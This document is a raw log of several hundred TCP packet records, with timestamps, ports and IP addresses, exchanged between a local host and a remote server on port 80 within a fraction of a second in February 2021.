Feb 20, 2021 09:48:09.078077078 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.078089952 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.078105927 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.078108072 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.078129053 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.078147888 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.078146935 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.078166008 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.078175068 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.078185081 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.078202009 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.078203917 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.078223944 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.078244925 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.078246117 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.078262091 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.078275919 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.078280926 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.078299999 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.078308105 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.078319073 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.078346014 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.078416109 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.079070091 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.079091072 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.079108000 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.079127073 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.079144001 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.079163074 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.079180956 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.079202890 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.079221964 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.079376936 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.079396009 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.079415083 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.079433918 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.079456091 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.079474926 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.079500914 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.079521894 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.079541922 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.079612970 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.079644918 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.079646111 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.079653978 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.079660892 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.079668045 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.079669952 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.079675913 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.079683065 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.079693079 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.079711914 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.079730034 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.079729080 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.079751015 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.079756975 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.079770088 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.079788923 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.079807997 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.079808950 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.079849958 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.079869032 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.079888105 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.079905033 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.079931021 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.079973936 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.082541943 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.082566977 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.082578897 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.082592010 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.082763910 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.082779884 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.082798958 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.082817078 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.082834005 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.082850933 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.082856894 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.082871914 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.082890034 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.082891941 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.082910061 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.082921028 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.082928896 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.082947016 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.082957029 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.082964897 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.082983017 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.082988977 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.083000898 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.083020926 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.083024979 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.083039999 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.083050966 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.083056927 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.083076000 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.083086014 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.083091974 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.083118916 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.083132982 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.083148003 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.083177090 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.083188057 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.083205938 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.083223104 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.083240032 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.083251953 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.083256960 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.083275080 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.083286047 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.083295107 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.083322048 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.083338022 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.083348989 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.083369017 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.083386898 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.083398104 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.083404064 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.083425999 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.083426952 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.083445072 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.083453894 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.083466053 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.083482981 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.083483934 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.083499908 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.083513975 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.083515882 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.083534002 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.083547115 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.083550930 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.083574057 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.083580017 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.083591938 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.083607912 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.083609104 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.083626032 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.083638906 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.083643913 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.083662987 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.083677053 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.083681107 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.083697081 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.083713055 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.083715916 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.083735943 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.083746910 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.083753109 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.083772898 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.083781958 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.083790064 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.083806992 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.083812952 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.083837032 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.083839893 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.083857059 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.083869934 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.083877087 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.083895922 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.083904982 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.083914042 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.083930969 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.083931923 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.083950043 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.083964109 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.083967924 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.083986998 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.084002018 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.084007025 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.084026098 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.084037066 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.084067106 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.084359884 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.084378958 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.084395885 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.084413052 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.084430933 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.084436893 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.084450960 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.084465981 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.084470034 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.084486961 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.084498882 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.084502935 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.084522009 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.084533930 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.084537029 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.084556103 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.084567070 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.084573030 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.084593058 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.084598064 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.084609985 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.084625006 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.084625959 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.084656954 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.084687948 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.091829062 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.091850042 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.091862917 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.091877937 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.091895103 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.091909885 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.091929913 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.091945887 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.091962099 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.091976881 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.091989040 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.091991901 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.092010975 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.092027903 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.092031002 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.092036963 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.092058897 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.092087030 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.103583097 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.103612900 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.103636980 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.103652000 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.103657961 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.103673935 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.103677988 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.103682041 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.103696108 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.103713036 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.104286909 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.104310036 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.104336977 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.104361057 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.104370117 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.104383945 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.104386091 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.104391098 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.104407072 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.104408026 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.104429007 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.104429960 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.104444981 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.104453087 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.104465008 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.104475021 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.104485035 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.104517937 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.104615927 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.104645014 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.104660988 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.104670048 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.104685068 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.104693890 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.104701042 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.104717016 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.104737043 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.104737997 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.104754925 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.104760885 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.104775906 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.104784012 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.104795933 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.104805946 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.104823112 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.104841948 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.105175018 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.105200052 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.105221033 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.105225086 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.105240107 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.105251074 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.105259895 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.105276108 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.105294943 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.105295897 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.105314016 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.105319023 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.105333090 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.105340004 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.105361938 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.105361938 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.105376959 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.105397940 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.106430054 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.106462002 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.106486082 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.106492043 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.106507063 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.106507063 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.106520891 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.106530905 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.106543064 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.106553078 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.106564045 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.106575966 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.106595993 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.106599092 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.106614113 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.106621027 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.106635094 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.106648922 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.106657982 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.106673956 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.106692076 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.106697083 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.106710911 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.106719017 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.106728077 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.106740952 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.106756926 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.106764078 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.106776953 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.106787920 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.106805086 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.106810093 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.106822968 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.106837988 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.106846094 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.106863022 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.106878996 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.106884956 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.106899023 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.106908083 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.106918097 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.106930971 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.106951952 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.106962919 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.106986046 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.106988907 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.107002974 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.107008934 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.107022047 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.107032061 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.107043982 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.107053995 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.107064009 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.107078075 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.107100010 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.107105017 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.107117891 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.107131958 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.107140064 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.107153893 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.107176065 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.107177019 CET	49165	80	192.168.2.22	185.81.0.78
